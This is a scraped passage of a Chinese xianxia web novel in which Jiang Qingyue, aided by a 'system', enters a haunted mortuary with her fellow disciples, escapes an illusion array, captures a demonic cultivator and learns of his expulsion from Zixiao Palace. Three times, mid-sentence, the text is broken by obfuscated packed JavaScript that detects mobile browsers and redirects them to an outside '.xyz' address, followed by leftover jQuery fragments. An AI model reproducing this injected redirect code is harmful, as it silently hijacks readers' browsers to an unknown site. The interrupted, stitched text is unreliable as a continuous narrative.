“因为那鬼魂从义庄里出来了!我亲眼看到过!他长着长长的、会勾魂的爪子!”老婆婆神色凄惶,“我还要等我的儿子回来,我还不能死……只要将纸人摆在门口,穿上衣服,摆上吃食,那鬼魂就会认不出哪个才是真正的我,就不会来勾我的魂了!”
魏音尘皱眉:“从没听过这种方法……”
说到一半,放在桌上的手臂被江清月碰了碰,于是她硬生生改口道:“……想来是极好的上古秘法。”
老婆婆听后,满是皱纹的脸上挤出一丝笑容:“那真是太好了,我还能等到我的孩子回来。”
几人又聊了几句,江清月见老婆婆已经将所知晓的都讲了出来,便主动提出开始做纸扎人。
“看来西庄镇的怪事都是因为义庄,我们早点做完纸扎人,也好早点去义庄里探查。”
江清月之前在各地降妖除魔,见当地人做过。那人不过三两下便扎出了一个简易的骨架,随后便是固定关节、糊上纸皮、绘上色彩……看起来一点也不难。
但看归看,一旦上手做,她便发现这事还是有点难度。
正烦恼手里的竹条为何这般不听话时,旁边伸过来一只骨节分明,白皙修长的手,手上拿着一个已经糊好纸皮的纸扎人。
江清月看看自己手里的半次品,又看看纪行云手里的:“……”
什么意思,炫耀是吧?
但她还是默默地将纸扎人拿了过来——唉,方才怎么就夸下了要做三只的海口呢?!
江清月用余光瞟了瞟纪行云专注的侧脸,清了清嗓子:“那个,方才我说的那句话没经过大脑,没怀疑你,你别生气。”
纪行云动作顿了一下:“没生气。”
江清月心头一跳——完了,好像没哄到点上,他气得连师姐都不叫了!
她一边给纸扎人上色,一边在脑中查阅系统搜出来的《如何成为情商高手》《三句话暖你一整天》,并将《笑话大全》丢还给系统:“这是正经书吗?”
系统:【多看看总是有好处的,技多不压身,说不定哪天就用到了呢!】
江清月:“……”
三人紧赶慢赶,总算在正午前将三个纸扎人制作完毕,启程赶往义庄。
一路上,江清月都在找机会同纪行云探讨新学到的“聊天技巧”,但无奈周遭皆是荒山野岭,怎么看也不像是推心置腹的好地方。
魏音尘走在二人前方,丝毫没察觉出二人之间的弯弯绕绕,她拨开身前过长的杂草,指着前面一座高大的门楼道:“你们看,那是什么?”
闻言,江清月也顾不得其他,跟着抬头看去——
杂草丛生中,一座高大的门楼拔地而起,高高的梁上挂着两盏破旧的白灯笼,被风吹得摇来晃去,正中的字匾上写着两个大字——义庄。
33. 丹人2
周遭一片静谧,连一丝鸟叫虫鸣都听不到,只有风拂过草叶的沙沙声,安静的不同寻常。
三人对视一眼,都在对方眼中看到了警惕——越是平静的地方,便越是古怪。
义庄内更是寂静。
长街两旁的铺面房屋皆是门户大开,屋内屋外皆是一片死寂,一点人气都没有,只有还放在桌上的碗筷昭示着这里曾经住过人。
三人在义庄内逛了几圈,竟是连一个人影都没看见。不仅是看不到活人,就连死去的人都没见到。
一些死去但还未下葬的尸体会被暂时安放在义庄内,待停灵后埋葬入土为安,这些棺椁上都盖着厚重的的盖子,非三四个壮丁合力无法打开。
可如今,那些棺椁都大剌剌地敞开着,内里空空如也——尸体竟是不翼而飞了!
魏音尘皱眉:“难不成,在义庄中为非作歹的是个喜食人肉的妖魔?”。
“不好说,如果是真的话,那这魔头吃的也太干净了,竟连一丝血肉都未剩下……”江清月环视了周围一圈,忽的觉出一丝不对劲,迟疑道,“你们有没有发现,这街上的房子长得有点熟悉?这个塌了一半的墙我好像看到三次了?”
魏音尘一直以来都不太注意细节,闻言仔细看去,也看不出个所以然。
纪行云沉声道:“的确熟悉。我们应是陷入迷阵了,所以才会在相同的地方不停打转。”
——迷阵!难怪义庄有进无出,原来是有迷阵干扰!
江清月只觉心中有些不安,嘱咐道:“初入此地,我们还不知妖魔实力如何,最好还是一起行动为妙,大家离得近些,别走散了……”
话说到一半,她一转身,却发现原本站在她身后的的两人都不见了踪迹,取而代之的是一片看不见尽头的白雾。
江清月的身上起了一层鸡皮疙瘩。
纪行云和魏音尘是什么时候不见的?这雾气又是什么时候来的?为什么她一点动静也没听见?
“系统?你还在吗?”她试着在脑中呼喊,可脑中一片寂静——系统这个人工智障又掉线了!
浓重的白雾弥漫在她周围,将整个义庄都包围起来,江清月甚至连长街对面的房屋都看不见。
向前看,是一片未知的白雾。
向后看,仍是一片未知的白雾。
翻涌的雾气间,仿佛随时会有张牙舞爪的妖魔钻出来。
江清月定了定神——看来这迷阵并不是只会造“鬼打墙”,还能制造幻境,她如今的境况应是陷入迷阵幻境中了。
她不是没单打独斗过,纪行云和魏音尘的实力强劲也不必担心。
莫慌。
她握紧手中的剑,向前走去——她倒要看看,这义庄背后的魔物葫芦里买的是什么药。
前方的白雾仿佛毫无尽头,江清月一路绷着心神,却连一点异样危险的东西都没看见,只有白雾,一成不变的白雾。
她不知自己走了多久,也许是一刻钟,也许是一整天,行走在一成不变的的场景中,仿佛会丧失掉对于时间的感知。
忽的,被白色充斥的视野中出现了一点红,鲜艳夺目。
江清月精神一振——终于还是来了!速战速决吧!
她快步走上前,却在看清眼前景象后顿在了原地,鼻腔也后知后觉的被那股浓重的血腥味灌满,让她感觉透不过气来——又是悬崖!
站立与跪伏、冷冰的斥责与痛苦的求饶、穿透肩膀的长剑与被血染透的青衣——为什么又是这个场景?!
她眼前一阵发昏,耳中嗡鸣阵阵。
——别信,这是幻境!
——你怎么证明这是假的?
悬崖上寒风刺骨,刮得她脸颊生疼,格外真实,也扰乱了她的思绪。
恍惚间,那两人的声音也被风吹到了她的耳畔。
“江清月”幽幽道:“你来此做什么,是忏悔吗?你应该忏悔的,你借着系统玩弄了他的情感,打碎了他的期待,他会恨你的……”
“纪行云”嘻嘻道:“你是来陪我的吗?你回来了就不要走了好不好,留下来吧,永远陪我一起吧,师姐……”
这两道熟悉的声音不断缠绕着在她耳边蛊惑,每说一句话,便离得越近一分,冰凉柔软的手臂也逐渐贴上了她的身体。
“江清月”和“纪行云”的声音低柔,但手上的动作却截然相反,快准狠袭向江清月的丹田!
“——啊!!!”
“江清月”和“纪行云”精心伪装出来的面容骤然扭曲,獠牙利爪也在一瞬间漏了出来,猛地挣脱被钳制的手腕,又不死心地继续攻去,只是还未动作便被她身上腾然而起的灵光击飞了出去,狼狈地在地上滚了几滚。
江清月拍拍袖口,直起身来,眼中一片清明:“魔物,束手就擒吧!”
“纪行云”嚎叫道:“这不可能!你怎么会识破我们的伪装!这不可能!”
江清月祭出长剑,闻言哼笑一声:“你们做迷阵骗人也不背调,小师弟最近生我气才不会叫我师姐,你们的信息太落后了!”
闻言,两只魔物的脸猛地扭曲一瞬,似是被她的话气得不轻。
江清月瞧它们顶着她与纪行云的脸捶胸顿足,只觉得怎么看怎么不顺眼,也不再与它们废话,汇灵气于剑尖后举剑劈去!
炫目白光闪过,随着魔物撕心裂肺的尖啸,眼前场景已经从悬崖变回了义庄。
还未等她适应场景转变,便察觉到一阵奇怪的“呜哩呜哩”声——哪来的?难不成她又陷入了另一个迷阵?
江清月四处瞧了瞧,没瞧见可疑的人员物件,最后不可置信地在自己的脑子里找到了声音的源头:【呜哇宿主啊你刚才去哪了,可要吓死系统了!你突然就联系不上了呜呜呜!】
江清月:“……”
系统怎么能哭得这么奇形怪状的?
她一边不解,一边熟门熟路地安慰它。
见系统仍是开水壶似的抽噎个不停,江清月懒得再理它,分神想:“看来,方才被拉进去的地方与纪行云的梦境之地有异曲同工之妙,系统都无法进入,只是没想到内里的魔物竟是意外的弱……”
“师姐。”
忽的一道声音从身后传来,尚且沉浸在思绪中的江清月被这一打断,差点条件反射将手中的剑甩过去,好在她赶在最后一秒反应过来已经出了迷阵——是真的纪行云在说话!
转头看去,纪行云正站在她身后,面如寒霜,双眼中布满红血丝。
这神情太过可怕,江清月不自觉后退了一步。
但也只有一步,因为下一瞬她便被纪行云紧紧拥进了怀里:“师姐,方才……我以为你又走了……”
又抱!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447501|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百年过去,怎的他反而越长越年少了?
义庄仍谜影重重,江清月不打算在这里陪他玩爱护心灵的小游戏,抬手准备将其推开,只是手抬到半空还未落下,纪行云语带颤抖的话便先一步钻进了她的耳朵里。
她心内长叹一声,最终还是将手放在了纪行云的背上,轻声道:“我说过的,我不走。”
“师姐,”纪行云恍若未闻,仍是惶惶道,“若我说那谣言不是我传出去的,你可信我?”
江清月一愣,没想到他竟是自己提起了这件事,更没想到这件小事竟给纪行云带来这么大的压力,顿时内心愧疚不已,嘴上哄人的话说来就来:“我信!师弟说的我都信!”
纪行云深吸一口气,将下巴搁在江清月的颈窝处,贪恋的蹭了蹭,眼中满是势在必得。可他口中吐出的话却与面上神情截然相反,听起来委屈巴巴:“师姐惯会骗我……我从未怪过师姐,是我自己做的不好。”
江清月更愧疚了。她顺毛似的在纪行云身上拍了拍,正欲开口便听一道怒气冲冲的声音喝道:
“——你们在干什么?!纪行云你这个不要脸的给我放开!”
是魏音尘。
江清月忙将纪行云松开,后知后觉地有一丝尴尬。
她方才的动作为什么这么像被抓早恋的小情侣啊!他们明明在互相道歉为什么要作出一副见不得人的样子!到底在心虚什么啊!
相较于江清月,纪行云显得从容得多,他侧身避开魏音尘甩过来的灵爆,皱了皱眉:“三师姐,你这是做什么?若是误伤了大师姐可如何是好?”
魏音尘脸色巨变,像是见了鬼似的猛地后退三大步:“你有病?”
她看看江清月又看看纪行云,咬牙道:“师姐你离他远点,他肯定是被迷阵里的魔物附身了!”
纪行云微微一笑:“三师姐说的话,我好像听不懂……”
这时,前方深不可测的雾气中忽的传来一阵窸窸窣窣的声响,其中还夹杂着几声怪叫,在一片未知中更显得格外可怖和惊悚。
纪行云和魏音尘立刻暂停互怼,齐刷刷挡在她身前,在触碰到对方时又分外嫌弃地移开。
江清月:“……”
她真的很好奇这两人平常的相处模式。
在三人的目不转睛中,有一伙灰头土脸的少年人从雾气中窜出来,口中仍在吱哇乱叫:“呕我要吐了!!!”
“我靠为什么在迷阵里还要挥剑五万下!我这辈子都不想再碰剑了!”
此刻长街上雾气弥漫,人与人之间都像是隔着一层,影影绰绰看不清楚。
为首的一人见长街中央站着三个身影,恨不得马上晕死过去,哀嚎道:“又碰到魔物了!为什么这鬼地方到处都是机关法阵!这才刚出来,又要进一个新的迷阵!!!”
“静心,”混乱中,有一女修道,“这魔物实力并不强,大家不要自乱阵脚!”
这声音好熟悉。
江清月眯起眼睛,往那处扫了一遍,倒真让她瞧见一个熟人——“孟今朝?”
孟今朝闻声抬头,惊喜道:“前辈!你们怎么也在此处!”
她还未张嘴,挡在她身前的魏音尘便抢先一步开口,面色不善道:“你怎么知道她是前辈,师姐也告诉你了?”
孟今朝不明所以:“啊?”
34. 丹人3
狭长的街道上,两波人各站一侧,魏音尘以一己之力将火药味拉到顶峰。
那群少年面面相觑,不知是何处惹到了这位将将碰面的修士。
江清月见她这样,便知晓魏音尘是误会了,心内大囧。她对迷茫的孟今朝摆了摆手,然后扒拉开魏音尘放在剑柄上的手,将其拉到自己身侧,清了清嗓子介绍道:“这位是昆仑山派的魏仙师,那边的人你们也都知晓了,是本派的宗主。”
纪行云风轻云淡地点了点头。
那群少年人的眼睛跟着江清月的话左转右转,越瞪越大,没练出城府的脸上一点事都藏不住,明晃晃写着几个大字——这是真的吗?!
——今天踩到狗屎运了,竟然在这种穷乡僻壤里连遇两位大能!
介绍完,江清月扫了众人一圈,这才发现那群黄衫弟子中竟还夹杂着几个紫色衣服的。
与天启宗弟子简单直白的仰慕不同,仙游宫中人就算是敬佩,也敬出了九曲十八弯,断断不能低下他们高贵的头颅,在一众雏鸟般的天启宗弟子中,活像几只昂首挺立的彩毛锦鸡。
而其中,挺得最直的当属卫闫。
本就不是正式会面,江清月也没那个精力去教导他们尊敬长辈。她三言两语将几人出现在此地的原因讲了,接着道:“天启宗距离此地颇远,你们怎么会来这么远的地方除魔历练?”
孟今朝道:“宗主与天罡宗宗主一向交好,得知天罡宗管辖地区内发生了这等恶性事件,特让我们来此相助。”
说完,她顿了顿,接着道:“只是没想到学艺不精,不仅没找到魔物,反而误入迷阵,且其中景象十分……怪异。后来便遇到了仙游宫弟子和诸位前辈。”
江清月听懂了——原来不是两个宗门约好一起行动,只是半路遇上了。
只是……天启宗和天罡宗交情很深?
江清月回想起纪行云说的那些传闻——雪中送炭总比锦上添花更能体现出人的品行,看来天启宗这位宗主倒是个心善的。
两人交谈间,那群少年早就不记得方才的火药味,纷纷以“看珍稀动物的眼光”注视着魏音尘和纪行云,期待着他们也能讲两句,若是他们有幸能与这等仙师交谈两句,能和其他人炫耀几十年!
那厢众人一派其乐融融,这边的卫闫却不似其他人那样没心没肺好糊弄,他一早便听见了那声师姐,此刻再见两人对江清月的袒护之举,心下更是惊涛骇浪。
且不说江清月入门早晚论辈分够不够得上,便是修真界的其他几位德高望重的宗主,也难得能见魏音尘一回好脸。
天底下谁人不知——昆仑山派魏音尘是修真界第一刺头,仗着修为高到处揍人,偏偏还没人敢管——像她这样的人,会向一个没来头的人恭恭敬敬叫师姐?
这其中必有古怪。
卫闫低眉思索,而后从袖中摸出一个闪着金光的铃铛,用力一捏,那铃铛便碎成了粉,悄无声息地滑落在地。
与此同时,仙游宫大殿中,倚在高座上的人察觉到传信铃的异动,闲闲拨弄了一下案上的兰花:“这个方向……看来有好戏可看了。”
……
听完孟今朝的话,江清月转身与两人道:“既然所求的都是同一件事,便一同行动如何?”
魏音尘被她方才的动作摸成了一尊石像,独自在旁僵立了好半天,现如今总算能恢复人身口吐人言了:“好。”
纪行云自然是无不答应:“都听师姐的。”
眼见在字数上又输给纪行云,魏音尘暗自懊恼了会儿,决定下次要等他说完之后再开口。
江清月轻咳两声,被两个难得如此乖巧的师弟师妹萌的不行,正想开口便见面前两人的脸忽的扭曲起来,竟是渐渐幻化为“她”和“纪行云”的面容!
——不好,白雾又来了!
江清月狠咬一口舌尖,刺痛让她的头脑瞬时清明起来,紧接着她调动灵力凝成一个密不透风的灵力罩,将那些雾气隔绝在外。
再次睁眼看去,眼前依然是破旧的义庄长街——果然,破解迷阵的方法便是阻隔致幻的雾气!
另一侧,纪行云和魏音尘也早已升起了灵力罩,三人对视一眼,目光扫过忽然浓重的白雾,神色皆是凝重。
茫茫白雾中,只零零散散的亮起几个灵力罩,其余未及时反应过来的人已经被白雾拖进了迷阵中。
幻境中为每个人构建的都是他们脑中最恐惧的场景:有人耽于享乐忽视修行,便会在迷阵中强制加练,不挥满五万下练剑目标不准休息;有人生性爱美,在迷阵中便会变成心目中最丑的模样,偏偏幻境中到处都贴满了镜子,根本无处可躲;有人……
“啊!哪里来的癞□□?呕——好恶心,离我远点!滚开!!!”
一片混乱中,这声怒吼还是格外引人注目,卫闫面露崩溃,竟是已经拔出了长剑,此刻正在胡乱劈砍戳刺,口中啊啊狂叫不止,看得几人目瞪口呆。
特别是几名尚且清醒的仙游宫弟子,他们不知是该装作没看见,还是该上前去帮卫闫出幻境。
至于江清月,她一点也不想知道卫闫究竟在迷阵里看到了什么。
就在这时,在卫闫身后的白雾中,忽的探出了一只颜色漆黑形状怪异的长爪子,直冲着他的后心抓去!
而卫闫本人还沉浸在迷阵中,莫说是防御了,他此刻心神大乱,就连迷阵的幻境都无法挣脱!
江清月脑海中忽的浮现出馄饨老婆婆那张凄惶的脸——原来她并不是胡言乱语,义庄中真的有长着勾魂长爪的魔物!
那长爪明显是奔着卫闫而去的,动作极快,江清月来不及抽出灵剑,直接在手中凝出一击灵爆攻向那魔爪。
“轰!”的一声巨响,卫闫身后的那栋房屋被炸得满天乱飞,他本人也因为这巨大的冲击力从迷阵被硬拽了出来。
卫闫滚地缓冲了两圈,稳住身形迅速站起,他拍落身上沾的灰尘,又恢复成了平常衣袂飘飘的模样。
但在下一瞬,他便反应过来自己方才是又中了迷阵,并且在众人面前又喊又叫了半晌,面色青了白,白了红,最终定格在羞耻上。
他转向江清月,生硬地抱了个拳:“……多谢前辈相助。”
江清月没功夫去理会他内心的七拐八绕,她面色有一丝凝重——方才她明明已经打到了魔物,可它还是凭借白雾的遮掩溜掉了!
这时,左侧忽的传来一声惊呼,江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447502|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清月扭头看去,正巧看到纪行云出剑。
炫目的青色灵光以迅雷不及掩耳之势飞刺而出,紧紧缠住探出白雾的黑色魔爪,但下一秒,却像是抓了个空似的,消散在原地。
怎会如此?
难不成——江清月脑中忽的飘过一个想法——这些都不是魔物的真身?
仿佛是为了验证她的猜想似的,闪着诡异光泽的黑色利爪不断从白雾的四面八方探出袭击,人群中惊呼阵阵,各色灵光在白雾中轮番炸开,但无一例外,都以失败告终。
桀桀怪笑回响在义庄上空,仿佛在嘲笑他们的愚蠢。
义庄是它为自己挑选的主场,内里弥漫的白雾是那魔爪天然的保护罩,它便是以迷阵干扰心神与伺机偷袭这样的方法残害了数不清的人。
江清月脑中急速思索应对之策,呼吸却放得平而缓,她试探着将自己的灵气渗透进白雾中,随着雾气的波动而缓缓延伸,任凭身边如何混乱,她都是一派岿然不动,仿佛已经成了白雾的一部分。
忽的,她平铺在义庄中的灵力感知到了流窜在其中的一抹起伏!
她没有睁眼,厉声道:“西南方,劈!”
魏音尘立刻举起灌满灵力的重剑,向着西南方狠狠劈去!
“噗呲!”
江清月语气不变,继续道:“正东方,刺!”
纪行云抬剑便刺!
“噗呲噗呲!”白雾中接连着爆开数朵血花,终于,在江清月又一次准确念出方位后,弥漫在义庄中的雾气散了,只剩一个死活不知的人仰面朝天躺在地上。
孟今朝惊道:“方才隐匿在雾气中的不是魔物?”
纪行云道:“他就是魔物,或者说……是魔修。”
随着他的话,众人的目光落在那人身体两侧——原本手的位置被取代了,只有一双大的出奇的弯钩利爪被安在小臂上,显得不伦不类,很是怪异。
“这就是魔修吗?长得好恶心!”
“他还活着吗?魔修不应该是很厉害,怎么打都打不死,拼着最后一口气也要拉个垫背的吗?”
“你疯啦,当然是修士更厉害!不过区区魔修,我见一个打一个,来两个打一双!”
“啧,你就吹吧,方才吓得躲在我后面的人是谁?”
“……”
江清月偷偷看了眼纪行云。他仍是面色如常,甚至察觉到她的目光后还转过来对她笑了笑。
江清月收回视线,掩饰性地咳了两声。
她现在真的很怀疑纪行云身上的魔族血统根本没解开,如若不然,他怎会一百年后还在修仙界中安然度日,甚至还混到了一宗之主的位置?
就在这时,变故突生——方才死得不能再死的魔修忽的翻身而起,巨大的长爪迅速穿透一个弟子的胸膛,利爪在血肉中搅动,发出令人牙酸的声音。
四周寂静一瞬,随即爆发出惊天动地的尖叫,魏音尘动作迅疾如电,可有一人的动作比她还要快,只听“刷”的一声轻响,那只沾着血肉的利爪便像是团面糊一般掉在了地上,滚落一地血腥。
随即,一道挑剔的声音响彻在众人上方:“这点东西都解决不了,出去后别说自己是仙游宫的人。”
35. 戏中戏
仙游宫?
听这人的口气,她好似是仙游宫中颇具威望的存在,难不成是宫中的哪个长老?
江清月仔细瞧了瞧那美貌女子,感觉与印象中熟悉的仙游宫弟子一个也对不上号。
虽说仙游宫招弟子门生时非美人不要,但像这般美得如此惊心动魄的人,但凡出现在她眼前,便绝对不会忘记。
她心内刚浮起问号,身侧纪行云的声音便传了过来,低声解释道:“此人名叫苏映雪,是现任仙游宫的掌门人,从前只是外门的洒扫弟子,但在仙魔大战中横空出世立了大功,弥留之际的前宫主便将掌门印传给了她。”
闻言,江清月暗自咋舌——这得是立了多大的功?
不过就看她方才那利落的一击,便知这人是有真功夫在身上的。
那美貌女子抬手将飞剑收起,落在地上时蹙了蹙眉,像是十分不能忍受此地的脏乱。
几名紫衣弟子都知晓自家宫主的性子,见她出现在此都很是惊讶:“宫主!您怎么来了?”
苏映雪施了个净身诀,方才沾到一小块泥渍的裙摆立刻洁净如新。闻言她翻了个优雅的白眼:“我不来,难不成等着给你们收尸吗?还有,田宗主,让女修等你可不是什么礼貌的举动……”
“来了,这就来了。”一道黄色的人影踏在飞剑上,慢悠悠降了下来,“苏宫主修为高深,御剑之能也远在田某之上,田某真是自愧不如!啊哟,纪宗主您也在这呢?”
纪行云颔首道:“田宗主。”
苏映雪道:“田宗主可真是懂礼节,倒衬得我不懂事了。”
“苏宫主哪里的话,”田宗主举起袖口擦了擦额上的汗,笑道,“不知宫主叫我前来所为何事?”
只是手刚抬到一半,他便顿住了,盯着那滩血色中露出的黄色衣角,登时僵成了一座石像,话也卡壳了一瞬:“这,这……”
孟今朝难掩悲伤:“宗主……”
田宗主脚步踉跄了一下,眼神直直地盯着那处,语带颤抖:“那是小贺吗?前日是我亲自送你们出的门,怎的今日……”
其他黄衫弟子都忍不住抽噎:“宗主,请节哀吧,贺师弟也不会想看到您这么难过的。”
“是谁?”田宗主一贯带着丝温和笑意的脸上满是怒气,他扫视一圈,终于在一片血腥中发现了那个魔修的身体,登时连宗主的修养都忘了,直接扯起他的衣领吼道,“你为什么要伤害一个无辜的孩子!”
“呸,”那魔修转头吐出一口血,惨白的脸上挂着笑,漫不经心地看了暴怒的田宗主一眼,“他既然送上门来,我不杀他杀谁?要怪也只能怪他命不好!”
话音未落,他又一次暴起,那只尚且完好的利爪势如雷电向田宗主袭去,可惜他未能得逞,刚一动作便被捆仙索绑了个结结实实。
田宗主神色不善,在魔修张狂的大笑声中厉声道:“你这魔头,竟是毫无悔过之心!你究竟还要伤害多少人!”
“啧啧,”苏映雪见缝插针道,“都说田宗主面慈心善,今日我才算是真的见识到了。不过心慈用错地方可就成了优柔寡断,若有人敢对我门下人如此,我便让他知道后悔两字该怎么写。”
闻言,田宗主面上闪过一丝痛苦:“苏宫主,我又何尝不想?但再怎么说,这也是发生在天罡宗地界上的事,我们又怎么好随意处置?”
苏映雪冷笑一声:“顾忌那么多做什么?他们又不在这儿,你就算是做了,又有谁会知道?”
说着,她似有所指地向江清月几人看了一眼:“想必也不会有人去告密的。”
田宗主迟疑道:“这……”
刚出口一个字,一道不屑的男声便打断了他,大声道:“原来仙游宫平日里就是这般教导弟子的,难怪你们宗门内净是些妖妖调调不忠不义之辈!”
苏映雪的面色瞬间冷下来。
江清月也跟着转头看去——来者都身着一身烈焰红衣,十几个人浩浩荡荡地簇拥着前来——还真是说曹操曹操就到。
方才开口那人上前两步,面上皆是狂妄,他身上同样是一身红袍,但衣服的领口和袖口处一片平滑,没有天罡宗那代表内门身份的暗纹——这人只是天罡宗的门生。
苏映雪一字一顿道:“天罡宗如今好威风啊。怎么,你们宗内的门生公然辱骂我派,贵派宗主不给个说法吗?”
被点名的宗主上前两步,是个极年轻的男子,他眉宇间笼罩着一层愁绪,就连微笑看起来也像是迫不得已的苦笑:“实在对不住,这人在宗门内野惯了,嘴上没个把门的,对不住啊苏宫主,我代他向你道歉。”
还未等苏映雪开口认下,那门生便先不干了,大声嚷嚷道:“宗主你硬气点行不行,怎么能被一个女人踩到头上!”
他虽然口称“宗主”,但语气中一丝尊敬都无。
秦玉山面露无奈,好声好气道:“别这样对苏宫主说话。”
此时场面混乱——吵架的有,继续拱火的也有,还有几名天启宗弟子忙着安慰自家宗主……一时之间没有人顾得上人数单薄的昆仑山派。
魏音尘不习惯应对这样的场景,早早便溜出了人群,跑到被五花大绑的魔修那去了,此刻正蹲着仔细研究那严丝合缝长在人体上的魔爪。
江清月收回视线,略有一丝无奈——没想到就算是过了一百年,仙游宫和天罡宗也还是能见缝插针的吵起来,这两个宗门到底有何种孽缘?
不过……
她向四周瞧了瞧,心里总觉得有些不大对。
且不说其他,不论是高傲的仙游宫还是如今四分五裂的天罡宗,看起来都不是热心肠的人,他们怎么会因为义庄之事齐聚于此?
往常他们管辖地区内出现的妖魔并不算少,也没见他们如此重视,难不成到了今日便转性了?
江清月不信。
这时,一声痛苦的哀嚎将她思绪拉回,抬眼看去,方才还洋洋得意的门生此刻跪倒在地,面容扭曲,抽搐着爬不起来——他的四肢竟是被外力
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447503|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弯折成不正常的弧度!
苏映雪站在他对面,将一缕发丝别在耳后,笑意中带着一丝煞气:“我还以为你是多么有骨气,多么宁折不弯的人呢?瞧,这不就弯了吗?”
“贵派宗主不方便管,那我便只好代劳了,想必他如今已经知道‘后悔’两字怎么写了吧?”
秦玉山脸色一白,吓得什么话也说不出来。
倒是在那聚成一团的红色阵营里传出几声模糊的反驳——“就算他说的不对,你也不能打他!太粗暴了!”
“我倒觉得他说的全是真话,瞧瞧他们,男男女女姿容皆异于常人,这哪里有仙门正派的模样?”
苏映雪眼珠一转,盯住那浩浩荡荡的一群人,在掌心凝成一团灵爆:“满嘴胡话歪理。怎么,你们不会以为法不责众这句话在我这里有用吧?”
只是她刚有动作,那团灵爆便被另外一道击溃了,一道平直无波的女声道:“苏宗主,得饶人处且饶人吧。”
几息间,那说话的几人已经站在了众人面前,他们身上穿着一袭古朴的黑袍,神情自若,平静无波道:“天罡宗从旁门左道处去挖苦议论他人,是小人所为,也无怪乎仙游宫如此做。但小惩大诫,苏宫主的做法过于偏激有失偏颇,也有错。”
“如此一来一往间两宗皆有所得有所亏,便也不存在谁对谁错的问题,诸位又何必要继续在此事上费心劳力。”
——如此一视同仁刚正不阿的发言,除了紫霄宫没有旁人。
苏映雪利落地收回灵力,挑眉道:“那当然,我可是最讲公平的人。”
秦玉山仍是默不作声,但明显是松了口气,只是他身后的天罡宗众人仍是气得面色通红,但此刻已经没有人再去理会他们。
紫霄宫的修士皆身着黑衣,面无表情时更显得不近人情:“我们接到飞鹤传书,书信中言此处有魔修出没,不知此刻那魔修在何处?”
紫霄宫门风严谨,为人处世也粗暴简单,从不像其他宗门那样见面先客套几个来回才落到正事上去。如此直来直往久了,众人也都习惯了他们的处事之风,便也暂时按下了龌龊,去瞧瞧将他们引到此处的魔修。
那魔修被捆仙索绑的严严实实,面上表情却不见一丝慌张,反而是一派闲适。
见此,一名紫霄宫修士眉尖一抽,似是回忆起了什么。不过还没等他开口,便听那躺在地上的魔修扬声道:“故人重逢,不知各位仙长可还记得我啊?唔,应该不会忘记的吧,毕竟是你们亲手把我逐出紫霄宫的!”
那修士面色巨变:“你是怀德?”
——这什么破名字,一个缺大德的人竟然叫怀德?
怀德哈哈大笑:“不错,就是我!”
“住口,”那黑袍修士厉声道,“正派弟子堕落为魔已是令人不齿,如今你还犯下如此滔天大错,真是不知悔改。”
“犯错?”怀德面容突然狰狞起来,“我犯了什么错?唯一的错就是拜入紫霄宫这个道貌岸然的的狗屁宗门!”
36. 叛徒
此言一出,众人皆惊。
修仙界谁人不知谁人不晓,紫霄宫内上到德高望重的长老下到新入门的弟子,皆是正直无私之人,若说哪个宗门最有仙门风范,那非紫霄宫莫属。
而如今,紫霄宫内竟是出了一个为祸人间的魔修!
那名紫霄宫修士义正辞严道:“你心术不正陷害同门,犯下错后仍不知悔改背弃宗门,如今却如此颠倒黑白!”
“陷害同门?哈,那是他们自找的,与我有何干系!”
很明显,这类带着八卦性质的小道消息一般都传播的特别广泛,在场众人也都对此事有所耳闻。在众人的一言一语中,江清月总算时拼凑出了怀德叛出宗门的事件缘由。
紫霄宫作为五大宗之一,从建立伊始便以“不别亲疏,不殊贵贱,一断于法①”的铁面无私在修仙界中独具一格。
在历代宗主的铁血手腕下,门派中不论是宗主的关门弟子,还是负责打扫山梯的弟子,在紫霄宫简单粗暴的门风下通通归为一类。
错便是错,错了便要罚,罚了才能改。
而处罚也是十分简单粗暴——跪在宗门前挨棍子。
紫霄宫根本就没有山门,他们的宗门就建立在民众之间,这种处罚方法也是为了警示弟子——别忘记你们从哪来,别忘记你们要守护谁!
但坏就坏在,怀德原本就是无父无母的孤儿,从小在街上摸爬滚打被欺凌着长大,本以为少年时期觉醒灵力后便可走上人生巅峰,蔑视从前欺负过他的人,没想到如今竟是被按在人前受罚。
不仅如此,他还要一边挨打,一边大声喊出:“我错了!我不该见死不救!这种行径是小人所为!”
怀德只觉得羞辱极了。
围观群众看热闹似的的目光像是锋利的尖刺,将他拼凑起来的自尊扎的满是漏洞,呼呼漏风。
他跪在地上,想:“我错哪了?那群人自不量力,明知打不过那妖兽还要上去逞英雄,死了是他们活该!我不过是在后面推波助澜了一下,便想将所有的错都安在我的头上,这是哪来的道理?你们又凭什么罚我?”
